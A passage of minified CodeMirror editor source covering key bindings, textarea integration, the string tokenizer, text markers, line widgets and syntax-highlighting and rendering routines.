rl-V":"goPageDown","Shift-Ctrl-V":"goPageUp","Ctrl-D":"delCharAfter","Ctrl-H":"delCharBefore","Alt-D":"delWordAfter","Alt-Backspace":"delWordBefore","Ctrl-K":"killLine","Ctrl-T":"transposeChars"};fb.macDefault={"Cmd-A":"selectAll","Cmd-D":"deleteLine","Cmd-Z":"undo","Shift-Cmd-Z":"redo","Cmd-Y":"redo","Cmd-Home":"goDocStart","Cmd-Up":"goDocStart","Cmd-End":"goDocEnd","Cmd-Down":"goDocEnd","Alt-Left":"goGroupLeft","Alt-Right":"goGroupRight","Cmd-Left":"goLineLeft","Cmd-Right":"goLineRight","Alt-Backspace":"delGroupBefore","Ctrl-Alt-Backspace":"delGroupAfter","Alt-Delete":"delGroupAfter","Cmd-S":"save","Cmd-F":"find","Cmd-G":"findNext","Shift-Cmd-G":"findPrev","Cmd-Alt-F":"replace","Shift-Cmd-Alt-F":"replaceAll","Cmd-[":"indentLess","Cmd-]":"indentMore","Cmd-Backspace":"delWrappedLineLeft","Cmd-Delete":"delWrappedLineRight","Cmd-U":"undoSelection","Shift-Cmd-U":"redoSelection","Ctrl-Up":"goDocStart","Ctrl-Down":"goDocEnd",fallthrough:["basic","emacsy"]};fb["default"]=b8?fb.macDefault:fb.pcDefault;function du(gj){var gp=gj.split(/-(?!$)/),gj=gp[gp.length-1];var go,gn,gi,gm;for(var gl=0;gl<gp.length-1;gl++){var gk=gp[gl];if(/^(cmd|meta|m)$/i.test(gk)){gm=true}else{if(/^a(lt)?$/i.test(gk)){go=true}else{if(/^(c|ctrl|control)$/i.test(gk)){gn=true}else{if(/^s(hift)$/i.test(gk)){gi=true}else{throw new Error("Unrecognized modifier name: "+gk)}}}}}if(go){gj="Alt-"+gj}if(gn){gj="Ctrl-"+gj}if(gm){gj="Cmd-"+gj}if(gi){gj="Shift-"+gj}return gj}H.normalizeKeyMap=function(gp){var gj={};for(var go in gp){if(gp.hasOwnProperty(go)){var gq=gp[go];if(/^(name|fallthrough|(de|at)tach)$/.test(go)){continue}if(gq=="..."){delete gp[go];continue}var gr=bT(go.split(" "),du);for(var gn=0;gn<gr.length;gn++){var gl,gk;if(gn==gr.length-1){gk=gr.join(" ");gl=gq}else{gk=gr.slice(0,gn+1).join(" ");gl="..."}var gm=gj[gk];if(!gm){gj[gk]=gl}else{if(gm!=gl){throw new Error("Inconsistent bindings for "+gk)}}}delete gp[go]}}for(var gi in gj){gp[gi]=gj[gi]}return gp};var i=H.lookupKey=function(gl,go,gn,gk){go=fY(go);var gm=go.call?go.call(gl,gk):go[gl];if(gm===false){return"nothing"}if(gm==="..."){return"multi"}if(gm!=null&&gn(gm)){return"handled"}if(go.fallthrough){if(Object.prototype.toString.call(go.fallthrough)!="[object Array]"){return i(gl,go.fallthrough,gn,gk)}for(var gj=0;gj<go.fallthrough.length;gj++){var gi=i(gl,go.fallthrough[gj],gn,gk);if(gi){return gi}}}};var eD=H.isModifierKey=function(gj){var gi=typeof gj=="string"?gj:fh[gj.keyCode];return gi=="Ctrl"||gi=="Alt"||gi=="Shift"||gi=="Mod"};var fs=H.keyName=function(gj,gl){if(d4&&gj.keyCode==34&&gj["char"]){return false}var gk=fh[gj.keyCode],gi=gk;if(gi==null||gj.altGraphKey){return false}if(gj.altKey&&gk!="Alt"){gi="Alt-"+gi}if((bR?gj.metaKey:gj.ctrlKey)&&gk!="Ctrl"){gi="Ctrl-"+gi}if((bR?gj.ctrlKey:gj.metaKey)&&gk!="Cmd"){gi="Cmd-"+gi}if(!gl&&gj.shiftKey&&gk!="Shift"){gi="Shift-"+gi}return gi};function fY(gi){return typeof gi=="string"?fb[gi]:gi}H.fromTextArea=function(gp,gq){gq=gq?aN(gq):{};gq.value=gp.value;if(!gq.tabindex&&gp.tabIndex){gq.tabindex=gp.tabIndex}if(!gq.placeholder&&gp.placeholder){gq.placeholder=gp.placeholder}if(gq.autofocus==null){var gi=dP();gq.autofocus=gi==gp||gp.getAttribute("autofocus")!=null&&gi==document.body}function gm(){gp.value=go.getValue()}if(gp.form){bY(gp.form,"submit",gm);if(!gq.leaveSubmitMethodAlone){var gj=gp.form,gn=gj.submit;try{var gl=gj.submit=function(){gm();gj.submit=gn;gj.submit();gj.submit=gl}}catch(gk){}}}gq.finishInit=function(gr){gr.save=gm;gr.getTextArea=function(){return gp};gr.toTextArea=function(){gr.toTextArea=isNaN;gm();gp.parentNode.removeChild(gr.getWrapperElement());gp.style.display="";if(gp.form){ee(gp.form,"submit",gm);if(typeof gp.form.submit=="function"){gp.form.submit=gn}}}};gp.style.display="none";var go=H(function(gr){gp.parentNode.insertBefore(gr,gp.nextSibling)},gq);return go};var eU=H.StringStream=function(gi,gj){this.pos=this.start=0;this.string=gi;this.tabSize=gj||8;this.lastColumnPos=this.lastColumnValue=0;this.lineStart=0};eU.prototype={eol:function(){return this.pos>=this.string.length},sol:function(){return this.pos==this.lineStart},peek:function(){return this.string.charAt(this.pos)||undefined},next:function(){if(this.pos<this.string.length){return this.string.charAt(this.pos++)}},eat:function(gi){var gk=this.string.charAt(this.pos);if(typeof gi=="string"){var gj=gk==gi}else{var gj=gk&&(gi.test?gi.test(gk):gi(gk))}if(gj){++this.pos;return gk}},eatWhile:function(gi){var gj=this.pos;while(this.eat(gi)){}return this.pos>gj},eatSpace:function(){var gi=this.pos;while(/[\s\u00a0]/.test(this.string.charAt(this.pos))){++this.pos}return this.pos>gi},skipToEnd:function(){this.pos=this.string.length},skipTo:function(gi){var gj=this.string.indexOf(gi,this.pos);if(gj>-1){this.pos=gj;return true}},backUp:function(gi){this.pos-=gi},column:function(){if(this.lastColumnPos<this.start){this.lastColumnValue=bU(this.string,this.start,this.tabSize,this.lastColumnPos,this.lastColumnValue);this.lastColumnPos=this.start}return this.lastColumnValue-(this.lineStart?bU(this.string,this.lineStart,this.tabSize):0)},indentation:function(){return bU(this.string,null,this.tabSize)-(this.lineStart?bU(this.string,this.lineStart,this.tabSize):0)},match:function(gm,gj,gi){if(typeof gm=="string"){var gn=function(go){return gi?go.toLowerCase():go};var gl=this.string.substr(this.pos,gm.length);if(gn(gl)==gn(gm)){if(gj!==false){this.pos+=gm.length}return true}}else{var gk=this.string.slice(this.pos).match(gm);if(gk&&gk.index>0){return null}if(gk&&gj!==false){this.pos+=gk[0].length}return gk}},current:function(){return this.string.slice(this.start,this.pos)},hideFirstChars:function(gj,gi){this.lineStart+=gj;try{return gi()}finally{this.lineStart-=gj}}};var a6=0;var P=H.TextMarker=function(gj,gi){this.lines=[];this.type=gi;this.doc=gj;this.id=++a6};bz(P);P.prototype.clear=function(){if(this.explicitlyCleared){return}var gp=this.doc.cm,gj=gp&&!gp.curOp;if(gj){cJ(gp)}if(fj(this,"clear")){var gq=this.find();if(gq){ae(this,"clear",gq.from,gq.to)}}var gk=null,gn=null;for(var gl=0;gl<this.lines.length;++gl){var gr=this.lines[gl];var go=fa(gr.markedSpans,this);if(gp&&!this.collapsed){R(gp,bO(gr),"text")}else{if(gp){if(go.to!=null){gn=bO(gr)}if(go.from!=null){gk=bO(gr)}}}gr.markedSpans=eI(gr.markedSpans,go);if(go.from==null&&this.collapsed&&!fx(this.doc,gr)&&gp){f6(gr,aY(gp.display))}}if(gp&&this.collapsed&&!gp.options.lineWrapping){for(var gl=0;gl<this.lines.length;++gl){var gi=y(this.lines[gl]),gm=eo(gi);if(gm>gp.display.maxLineLength){gp.display.maxLine=gi;gp.display.maxLineLength=gm;gp.display.maxLineChanged=true}}}if(gk!=null&&gp&&this.collapsed){ah(gp,gk,gn+1)}this.lines.length=0;this.explicitlyCleared=true;if(this.atomic&&this.doc.cantEdit){this.doc.cantEdit=false;if(gp){ez(gp.doc)}}if(gp){ae(gp,"markerCleared",gp,this)}if(gj){am(gp)}if(this.parent){this.parent.clear()}};P.prototype.find=function(gl,gj){if(gl==null&&this.type=="bookmark"){gl=1}var go,gn;for(var gk=0;gk<this.lines.length;++gk){var gi=this.lines[gk];var gm=fa(gi.markedSpans,this);if(gm.from!=null){go=W(gj?gi:bO(gi),gm.from);if(gl==-1){return go}}if(gm.to!=null){gn=W(gj?gi:bO(gi),gm.to);if(gl==1){return gn}}}return go&&{from:go,to:gn}};P.prototype.changed=function(){var gk=this.find(-1,true),gj=this,gi=this.doc.cm;if(!gk||!gi){return}cN(gi,function(){var gm=gk.line,gn=bO(gk.line);var gl=fc(gi,gn);if(gl){au(gl);gi.curOp.selectionChanged=gi.curOp.forceUpdate=true}gi.curOp.updateMaxLine=true;if(!fx(gj.doc,gm)&&gj.height!=null){var gp=gj.height;gj.height=null;var go=cZ(gj)-gp;if(go){f6(gm,gm.height+go)}}})};P.prototype.attachLine=function(gi){if(!this.lines.length&&this.doc.cm){var gj=this.doc.cm.curOp;if(!gj.maybeHiddenMarkers||di(gj.maybeHiddenMarkers,this)==-1){(gj.maybeUnhiddenMarkers||(gj.maybeUnhiddenMarkers=[])).push(this)}}this.lines.push(gi)};P.prototype.detachLine=function(gi){this.lines.splice(di(this.lines,gi),1);if(!this.lines.length&&this.doc.cm){var gj=this.doc.cm.curOp;(gj.maybeHiddenMarkers||(gj.maybeHiddenMarkers=[])).push(this)}};var a6=0;function eG(gq,go,gp,gs,gm){if(gs&&gs.shared){return O(gq,go,gp,gs,gm)}if(gq.cm&&!gq.cm.curOp){return c3(gq.cm,eG)(gq,go,gp,gs,gm)}var gl=new P(gq,gm),gr=cg(go,gp);if(gs){aN(gs,gl,false)}if(gr>0||gr==0&&gl.clearWhenEmpty!==false){return gl}if(gl.replacedWith){gl.collapsed=true;gl.widgetNode=f3("span",[gl.replacedWith],"CodeMirror-widget");if(!gs.handleMouseEvents){gl.widgetNode.setAttribute("cm-ignore-events","true")}if(gs.insertLeft){gl.widgetNode.insertLeft=true}}if(gl.collapsed){if(z(gq,go.line,go,gp,gl)||go.line!=gp.line&&z(gq,gp.line,go,gp,gl)){throw new Error("Inserting collapsed marker partially overlapping an existing one")}a8=true}if(gl.addToHistory){fN(gq,{from:go,to:gp,origin:"markText"},gq.sel,NaN)}var gj=go.line,gn=gq.cm,gi;gq.iter(gj,gp.line+1,function(gt){if(gn&&gl.collapsed&&!gn.options.lineWrapping&&y(gt)==gn.display.maxLine){gi=true}if(gl.collapsed&&gj!=go.line){f6(gt,0)}ce(gt,new ej(gl,gj==go.line?go.ch:null,gj==gp.line?gp.ch:null));++gj});if(gl.collapsed){gq.iter(go.line,gp.line+1,function(gt){if(fx(gq,gt)){f6(gt,0)}})}if(gl.clearOnEnter){bY(gl,"beforeCursorEnter",function(){gl.clear()})}if(gl.readOnly){gd=true;if(gq.history.done.length||gq.history.undone.length){gq.clearHistory()}}if(gl.collapsed){gl.id=++a6;gl.atomic=true}if(gn){if(gi){gn.curOp.updateMaxLine=true}if(gl.collapsed){ah(gn,go.line,gp.line+1)}else{if(gl.className||gl.title||gl.startStyle||gl.endStyle||gl.css){for(var gk=go.line;gk<=gp.line;gk++){R(gn,gk,"text")}}}if(gl.atomic){ez(gn.doc)}ae(gn,"markerAdded",gn,gl)}return gl}var x=H.SharedTextMarker=function(gk,gj){this.markers=gk;this.primary=gj;for(var gi=0;gi<gk.length;++gi){gk[gi].parent=this}};bz(x);x.prototype.clear=function(){if(this.explicitlyCleared){return}this.explicitlyCleared=true;for(var gi=0;gi<this.markers.length;++gi){this.markers[gi].clear()}ae(this,"clear")};x.prototype.find=function(gj,gi){return this.primary.find(gj,gi)};function O(gm,gp,go,gi,gk){gi=aN(gi);gi.shared=false;var gn=[eG(gm,gp,go,gi,gk)],gj=gn[0];var gl=gi.widgetNode;d8(gm,function(gr){if(gl){gi.widgetNode=gl.cloneNode(true)}gn.push(eG(gr,fK(gr,gp),fK(gr,go),gi,gk));for(var gq=0;gq<gr.linked.length;++gq){if(gr.linked[gq].isParent){return}}gj=fH(gn)});return new x(gn,gj)}function eQ(gi){return gi.findMarks(W(gi.first,0),gi.clipPos(W(gi.lastLine())),function(gj){return gj.parent})}function dG(gn,go){for(var gl=0;gl<go.length;gl++){var gj=go[gl],gp=gj.find();var gi=gn.clipPos(gp.from),gm=gn.clipPos(gp.to);if(cg(gi,gm)){var gk=eG(gn,gi,gm,gj.primary,gj.primary.type);gj.markers.push(gk);gk.parent=gj}}}function ep(gl){for(var gk=0;gk<gl.length;gk++){var gi=gl[gk],gn=[gi.primary.doc];d8(gi.primary.doc,function(go){gn.push(go)});for(var gj=0;gj<gi.markers.length;gj++){var gm=gi.markers[gj];if(di(gn,gm.doc)==-1){gm.parent=null;gi.markers.splice(gj--,1)}}}}function ej(gi,gk,gj){this.marker=gi;this.from=gk;this.to=gj}function fa(gk,gi){if(gk){for(var gj=0;gj<gk.length;++gj){var gl=gk[gj];if(gl.marker==gi){return gl}}}}function eI(gj,gk){for(var gl,gi=0;gi<gj.length;++gi){if(gj[gi]!=gk){(gl||(gl=[])).push(gj[gi])}}return gl}function ce(gi,gj){gi.markedSpans=gi.markedSpans?gi.markedSpans.concat([gj]):[gj];gj.marker.attachLine(gi)}function aQ(gj,gk,go){if(gj){for(var gm=0,gp;gm<gj.length;++gm){var gq=gj[gm],gn=gq.marker;var gi=gq.from==null||(gn.inclusiveLeft?gq.from<=gk:gq.from<gk);if(gi||gq.from==gk&&gn.type=="bookmark"&&(!go||!gq.marker.insertLeft)){var gl=gq.to==null||(gn.inclusiveRight?gq.to>=gk:gq.to>gk);(gp||(gp=[])).push(new ej(gn,gq.from,gl?null:gq.to))}}}return gp}function aB(gj,gl,go){if(gj){for(var gm=0,gp;gm<gj.length;++gm){var gq=gj[gm],gn=gq.marker;var gk=gq.to==null||(gn.inclusiveRight?gq.to>=gl:gq.to>gl);if(gk||gq.from==gl&&gn.type=="bookmark"&&(!go||gq.marker.insertLeft)){var gi=gq.from==null||(gn.inclusiveLeft?gq.from<=gl:gq.from<gl);(gp||(gp=[])).push(new ej(gn,gi?null:gq.from-gl,gq.to==null?null:gq.to-gl))}}}return gp}function el(gu,gr){if(gr.full){return null}var gq=ca(gu,gr.from.line)&&fg(gu,gr.from.line).markedSpans;var gx=ca(gu,gr.to.line)&&fg(gu,gr.to.line).markedSpans;if(!gq&&!gx){return null}var gj=gr.from.ch,gm=gr.to.ch,gp=cg(gr.from,gr.to)==0;var go=aQ(gq,gj,gp);var gw=aB(gx,gm,gp);var gv=gr.text.length==1,gk=fH(gr.text).length+(gv?gj:0);if(go){for(var gl=0;gl<go.length;++gl){var gt=go[gl];if(gt.to==null){var gy=fa(gw,gt.marker);if(!gy){gt.to=gj}else{if(gv){gt.to=gy.to==null?null:gy.to+gk}}}}}if(gw){for(var gl=0;gl<gw.length;++gl){var gt=gw[gl];if(gt.to!=null){gt.to+=gk}if(gt.from==null){var gy=fa(go,gt.marker);if(!gy){gt.from=gk;if(gv){(go||(go=[])).push(gt)}}}else{gt.from+=gk;if(gv){(go||(go=[])).push(gt)}}}}if(go){go=q(go)}if(gw&&gw!=go){gw=q(gw)}var gn=[go];if(!gv){var gs=gr.text.length-2,gi;if(gs>0&&go){for(var gl=0;gl<go.length;++gl){if(go[gl].to==null){(gi||(gi=[])).push(new ej(go[gl].marker,null,null))}}}for(var gl=0;gl<gs;++gl){gn.push(gi)}gn.push(gw)}return gn}function q(gj){for(var gi=0;gi<gj.length;++gi){var gk=gj[gi];if(gk.from!=null&&gk.from==gk.to&&gk.marker.clearWhenEmpty!==false){gj.splice(gi--,1)}}if(!gj.length){return null}return gj}function ea(gq,go){var gi=b5(gq,go);var gr=el(gq,go);if(!gi){return gr}if(!gr){return gi}for(var gl=0;gl<gi.length;++gl){var gm=gi[gl],gn=gr[gl];if(gm&&gn){spans:for(var gk=0;gk<gn.length;++gk){var gp=gn[gk];for(var gj=0;gj<gm.length;++gj){if(gm[gj].marker==gp.marker){continue spans}}gm.push(gp)}}else{if(gn){gi[gl]=gn}}}return gi}function cI(gu,gs,gt){var gm=null;gu.iter(gs.line,gt.line+1,function(gv){if(gv.markedSpans){for(var gw=0;gw<gv.markedSpans.length;++gw){var gx=gv.markedSpans[gw].marker;if(gx.readOnly&&(!gm||di(gm,gx)==-1)){(gm||(gm=[])).push(gx)}}}});if(!gm){return null}var gn=[{from:gs,to:gt}];for(var go=0;go<gm.length;++go){var gp=gm[go],gk=gp.find(0);for(var gl=0;gl<gn.length;++gl){var gj=gn[gl];if(cg(gj.to,gk.from)<0||cg(gj.from,gk.to)>0){continue}var gr=[gl,1],gi=cg(gj.from,gk.from),gq=cg(gj.to,gk.to);if(gi<0||!gp.inclusiveLeft&&!gi){gr.push({from:gj.from,to:gk.from})}if(gq>0||!gp.inclusiveRight&&!gq){gr.push({from:gk.to,to:gj.to})}gn.splice.apply(gn,gr);gl+=gr.length-1}}return gn}function f9(gi){var gk=gi.markedSpans;if(!gk){return}for(var gj=0;gj<gk.length;++gj){gk[gj].marker.detachLine(gi)}gi.markedSpans=null}function c4(gi,gk){if(!gk){return}for(var gj=0;gj<gk.length;++gj){gk[gj].marker.attachLine(gi)}gi.markedSpans=gk}function v(gi){return gi.inclusiveLeft?-1:0}function bX(gi){return gi.inclusiveRight?1:0}function dR(gl,gj){var gn=gl.lines.length-gj.lines.length;if(gn!=0){return gn}var gk=gl.find(),go=gj.find();var gi=cg(gk.from,go.from)||v(gl)-v(gj);if(gi){return -gi}var gm=cg(gk.to,go.to)||bX(gl)-bX(gj);if(gm){return gm}return gj.id-gl.id}function a7(gj,gn){var gi=a8&&gj.markedSpans,gm;if(gi){for(var gl,gk=0;gk<gi.length;++gk){gl=gi[gk];if(gl.marker.collapsed&&(gn?gl.from:gl.to)==null&&(!gm||dR(gm,gl.marker)<0)){gm=gl.marker}}}return gm}function eP(gi){return a7(gi,true)}function ex(gi){return a7(gi,false)}function z(gq,gk,go,gp,gm){var gt=fg(gq,gk);var gi=a8&&gt.markedSpans;if(gi){for(var gl=0;gl<gi.length;++gl){var gj=gi[gl];if(!gj.marker.collapsed){continue}var gs=gj.marker.find(0);var gr=cg(gs.from,go)||v(gj.marker)-v(gm);var gn=cg(gs.to,gp)||bX(gj.marker)-bX(gm);if(gr>=0&&gn<=0||gr<=0&&gn>=0){continue}if(gr<=0&&(cg(gs.to,go)>0||(gj.marker.inclusiveRight&&gm.inclusiveLeft))||gr>=0&&(cg(gs.from,gp)<0||(gj.marker.inclusiveLeft&&gm.inclusiveRight))){return true}}}}function y(gj){var gi;while(gi=eP(gj)){gj=gi.find(-1,true).line}return gj}function g(gk){var gi,gj;while(gi=ex(gk)){gk=gi.find(1,true).line;(gj||(gj=[])).push(gk)}return gj}function aW(gl,gj){var gi=fg(gl,gj),gk=y(gi);if(gi==gk){return gj}return bO(gk)}function d3(gl,gk){if(gk>gl.lastLine()){return gk}var gj=fg(gl,gk),gi;if(!fx(gl,gj)){return gk}while(gi=ex(gj)){gj=gi.find(1,true).line}return bO(gj)+1}function fx(gm,gj){var gi=a8&&gj.markedSpans;if(gi){for(var gl,gk=0;gk<gi.length;++gk){gl=gi[gk];if(!gl.marker.collapsed){continue}if(gl.from==null){return true}if(gl.marker.widgetNode){continue}if(gl.from==0&&gl.marker.inclusiveLeft&&T(gm,gj,gl)){return true}}}}function T(gn,gj,gl){if(gl.to==null){var gi=gl.marker.find(1,true);return T(gn,gi.line,fa(gi.line.markedSpans,gl.marker))}if(gl.marker.inclusiveRight&&gl.to==gj.text.length){return true}for(var gm,gk=0;gk<gj.markedSpans.length;++gk){gm=gj.markedSpans[gk];if(gm.marker.collapsed&&!gm.marker.widgetNode&&gm.from==gl.to&&(gm.to==null||gm.to!=gl.from)&&(gm.marker.inclusiveLeft||gl.marker.inclusiveRight)&&T(gn,gj,gm)){return true}}}var dC=H.LineWidget=function(gl,gk,gi){if(gi){for(var gj in gi){if(gi.hasOwnProperty(gj)){this[gj]=gi[gj]}}}this.doc=gl;this.node=gk};bz(dC);function d0(gi,gj,gk){if(bN(gj)<((gi.curOp&&gi.curOp.scrollTop)||gi.doc.scrollTop)){cM(gi,null,gk)}}dC.prototype.clear=function(){var gj=this.doc.cm,gl=this.line.widgets,gk=this.line,gn=bO(gk);if(gn==null||!gl){return}for(var gm=0;gm<gl.length;++gm){if(gl[gm]==this){gl.splice(gm--,1)}}if(!gl.length){gk.widgets=null}var gi=cZ(this);f6(gk,Math.max(0,gk.height-gi));if(gj){cN(gj,function(){d0(gj,gk,-gi);R(gj,gn,"widget")})}};dC.prototype.changed=function(){var gj=this.height,gi=this.doc.cm,gk=this.line;this.height=null;var gl=cZ(this)-gj;if(!gl){return}f6(gk,gk.height+gl);if(gi){cN(gi,function(){gi.curOp.forceUpdate=true;d0(gi,gk,gl)})}};function cZ(gk){if(gk.height!=null){return gk.height}var gi=gk.doc.cm;if(!gi){return 0}if(!gb(document.body,gk.node)){var gj="position: relative;";if(gk.coverGutter){gj+="margin-left: -"+gi.display.gutters.offsetWidth+"px;"}if(gk.noHScroll){gj+="width: "+gi.display.wrapper.clientWidth+"px;"}bS(gi.display.measure,f3("div",[gk.node],null,gj))}return gk.height=gk.node.offsetHeight}function bI(gn,gm,gk,gj){var gl=new dC(gn,gk,gj);var gi=gn.cm;if(gi&&gl.noHScroll){gi.display.alignWidgets=true}eA(gn,gm,"widget",function(gp){var gq=gp.widgets||(gp.widgets=[]);if(gl.insertAt==null){gq.push(gl)}else{gq.splice(Math.min(gq.length-1,Math.max(0,gl.insertAt)),0,gl)}gl.line=gp;if(gi&&!fx(gn,gp)){var go=bN(gp)<gn.scrollTop;f6(gp,gp.height+cZ(gl));if(go){cM(gi,null,gl.height)}gi.curOp.forceUpdate=true}return true});return gl}var f7=H.Line=function(gk,gj,gi){this.text=gk;c4(this,gj);this.height=gi?gi(this):1};bz(f7);f7.prototype.lineNo=function(){return bO(this)};function en(gj,gm,gk,gi){gj.text=gm;if(gj.stateAfter){gj.stateAfter=null}if(gj.styles){gj.styles=null}if(gj.order!=null){gj.order=null}f9(gj);c4(gj,gk);var gl=gi?gi(gj):1;if(gl!=gj.height){f6(gj,gl)}}function bC(gi){gi.parent=null;f9(gi)}function dj(gk,gj){if(gk){for(;;){var gi=gk.match(/(?:^|\s+)line-(background-)?(\S+)/);if(!gi){break}gk=gk.slice(0,gi.index)+gk.slice(gi.index+gi[0].length);var gl=gi[1]?"bgClass":"textClass";if(gj[gl]==null){gj[gl]=gi[2]}else{if(!(new RegExp("(?:^|s)"+gi[2]+"(?:$|s)")).test(gj[gl])){gj[gl]+=" "+gi[2]}}}}return gk}function fr(gk,gj){if(gk.blankLine){return gk.blankLine(gj)}if(!gk.innerMode){return}var gi=H.innerMode(gk,gj);if(gi.mode.blankLine){return gi.mode.blankLine(gi.state)}}function eB(gn,gm,gl,gi){for(var gj=0;gj<10;gj++){if(gi){gi[0]=H.innerMode(gn,gl).mode}var gk=gn.token(gm,gl);if(gm.pos>gm.start){return gk}}throw new Error("Mode "+gn.name+" failed to advance stream.")}function cr(gr,gp,gm,gl){function gi(gu){return{start:gs.start,end:gs.pos,string:gs.current(),type:gk||null,state:gu?b4(gq.mode,gj):gj}}var gq=gr.doc,gn=gq.mode,gk;gp=fK(gq,gp);var gt=fg(gq,gp.line),gj=dD(gr,gp.line,gm);var gs=new eU(gt.text,gr.options.tabSize),go;if(gl){go=[]}while((gl||gs.pos<gp.ch)&&!gs.eol()){gs.start=gs.pos;gk=eB(gn,gs,gj);if(gl){go.push(gi(true))}}return gl?go:gi()}function w(gs,gu,gn,gj,go,gl,gm){var gk=gn.flattenSpans;if(gk==null){gk=gs.options.flattenSpans}var gq=0,gp=null;var gt=new eU(gu,gs.options.tabSize),gi;var gw=gs.options.addModeClass&&[null];if(gu==""){dj(fr(gn,gj),gl)}while(!gt.eol()){if(gt.pos>gs.options.maxHighlightLength){gk=false;if(gm){dy(gs,gu,gj,gt.pos)}gt.pos=gu.length;gi=null}else{gi=dj(eB(gn,gt,gj,gw),gl)}if(gw){var gv=gw[0].name;if(gv){gi="m-"+(gi?gv+" "+gi:gv)}}if(!gk||gp!=gi){while(gq<gt.start){gq=Math.min(gt.start,gq+50000);go(gq,gp)}gp=gi}gt.start=gt.pos}while(gq<gt.pos){var gr=Math.min(gt.pos,gq+50000);go(gr,gp);gq=gr}}function fA(gp,gr,gi,gm){var gq=[gp.state.modeGen],gl={};w(gp,gr.text,gp.doc.mode,gi,function(gs,gt){gq.push(gs,gt)},gl,gm);for(var gj=0;gj<gp.state.overlays.length;++gj){var gn=gp.state.overlays[gj],go=1,gk=0;w(gp,gr.text,gn.mode,true,function(gs,gu){var gw=go;while(gk<gs){var gt=gq[go];if(gt>gs){gq.splice(go,1,gs,gq[go+1],gt)}go+=2;gk=Math.min(gs,gt)}if(!gu){return}if(gn.opaque){gq.splice(gw,go-gw,gs,"cm-overlay "+gu);go=gw+2}else{for(;gw<go;gw+=2){var gv=gq[gw+1];gq[gw+1]=(gv?gv+" ":"")+"cm-overlay "+gu}}},gl)}return{styles:gq,classes:gl.bgClass||gl.textClass?gl:null}}function c7(gj,gk,gl){if(!gk.styles||gk.styles[0]!=gj.state.modeGen){var gi=fA(gj,gk,gk.stateAfter=dD(gj,bO(gk)));gk.styles=gi.styles;if(gi.classes){gk.styleClasses=gi.classes}else{if(gk.styleClasses){gk.styleClasses=null}}if(gl===gj.doc.frontier){gj.doc.frontier++}}return gk.styles}function dy(gi,gn,gk,gj){var gm=gi.doc.mode;var gl=new eU(gn,gi.options.tabSize);gl.start=gl.pos=gj||0;if(gn==""){fr(gm,gk)}while(!gl.eol()&&gl.pos<=gi.options.maxHighlightLength){eB(gm,gl,gk);gl.start=gl.pos}}var dX={},b2={};function eX(gk,gj){if(!gk||/^\s*$/.test(gk)){return null}var gi=gj.addModeClass?b2:dX;return gi[gk]||(gi[gk]=gk.replace(/\S+/g,"cm-$&"))}function eS(gj,gn){var go=f3("span",null,null,c1?"padding-right: .1px":null);var gl={pre:f3("pre",[go]),content:go,col:0,pos:0,cm:gj,splitSpaces:(dL||c1)&&gj.getOption("lineWrapping")};gn.measure={};for(var gm=0;gm<=(gn.rest?gn.rest.length:0);gm++){var gk=gm?gn.rest[gm-1]:gn.line,gi;gl.pos=0;gl.addToken=t;if(bP(gj.display.measure)&&(gi=a(gk))){gl.addToken=U(gl.addToken,gi)}gl.map=[];var gp=gn!=gj.display.externalMeasured&&bO(gk);bp(gk,gl,c7(gj,gk,gp));if(gk.styleClasses){if(gk.styleClasses.bgClass){gl.bgClass=fT(gk.styleClasses.bgClass,gl.bgClass||"")}if(gk.styleClasses.textClass){gl.textClass=fT(gk.styleClasses.textClass,gl.textClass||"")}}if(gl.map.length==0){gl.map.push(0,0,gl.content.appendChild(bo(gj.display.measure)))}if(gm==0){gn.measure.map=gl.map;gn.measure.cache={}}else{(gn.measure.maps||(gn.measure.maps=[])).push(gl.map);(gn.measure.caches||(gn.measure.caches=[])).push({})}}if(c1&&/\bcm-tab\b/.test(gl.content.lastChild.className)){gl.content.className="cm-tab-wrap-hack"}aE(gj,"renderLine",gj,gn.line,gl.pre);if(gl.pre.className){gl.textClass=fT(gl.pre.className,gl.textClass||"")}return gl}function fd(gj){var gi=f3("span","\u2022","cm-invalidchar");gi.title="\\u"+gj.charCodeAt(0).toString(16);gi.setAttribute("aria-label",gi.title);return gi}function t(gt,go,gy,gv,gr,gA,gn){if(!go){return}var gx=gt.splitSpaces?go.replace(/ {3,}/g,cG):go;var gi=gt.cm.state.specialChars,gj=false;if(!gi.test(go)){gt.col+=go.length;var gw=document.createTextNode(gx);gt.map.push(gt.pos,gt.pos+go.length,gw);if(dL&&k<9){gj=true}gt.pos+=go.length}else{var gw=document.createDocumentFragment(),gl=0;while(true){gi.lastIndex=gl;var gu=gi.exec(go);var gz=gu?gu.index-gl:go.length-gl;if(gz){var gq=document.createTextNode(gx.slice(gl,gl+gz));if(dL&&k<9){gw.appendChild(f3("span",[gq]))}else{gw.appendChild(gq)}gt.map.push(gt.pos,gt.pos+gz,gq);gt.col+=gz;gt.pos+=gz}if(!gu){break}gl+=gz+1;if(gu[0]=="\t"){var gs=gt.cm.options.tabSize,gp=gs-gt.col%gs;var gq=gw.appendChild(f3("span",cq(gp),"cm-tab"));gq.setAttribute("role","presentation");gq.setAttribute("cm-text","\t");gt.col+=gp}else{var gq=gt.cm.options.specialCharPlaceholder(gu[0]);gq.setAttribute("cm-text",gu[0]);if(dL&&k<9){gw.appendChild(f3("span",[gq]))}else{gw.appendChild(gq)}gt.col+=1}gt.map.push(gt.pos,gt.pos+1,gq);gt.pos++}}if(gy||gv||gr||gj||gn){var gk=gy||"";if(gv){gk+=gv}if(gr){gk+=gr}var gm=f3("span",[gw],gk,gn);if(gA){gm.title=gA}return gt.content.appendChild(gm)}gt.content.appendChild(gw)}function cG(gi){var gj=" ";for(var gk=0;gk<gi.length-2;++gk){gj+=gk%2?" ":"\u00a0"}gj+=" ";return gj}function U(gj,gi){return function(gr,gt,gk,go,gu,gs,gq){gk=gk?gk+" cm-force-border":"cm-force-border";var gl=gr.pos,gn=gl+gt.length;for(;;){for(var gp=0;gp<gi.length;gp++){var gm=gi[gp];if(gm.to>gl&&gm.from<=gl){break}}if(gm.to>=gn){return gj(gr,gt,gk,go,gu,gs,gq)}gj(gr,gt.slice(0,gm.to-gl),gk,go,null,gs,gq);go=null;gt=gt.slice(gm.to-gl);gl=gm.to}}}function ac(gj,gl,gi,gk){var gm=!gk&&gi.widgetNode;if(gm){gj.map.push(gj.pos,gj.pos+gl,gm)}if(!gk&&gj.cm.display.input.needsContentAttribute){if(!gm){gm=gj.content.appendChild(document.createElement("span"))}gm.setAttribute("cm-marker",gi.id)}if(gm){gj.cm.display.input.setUneditable(gm);gj.content.appendChild(gm)}gj.pos+=gl}function bp(gr,gy,gq){var 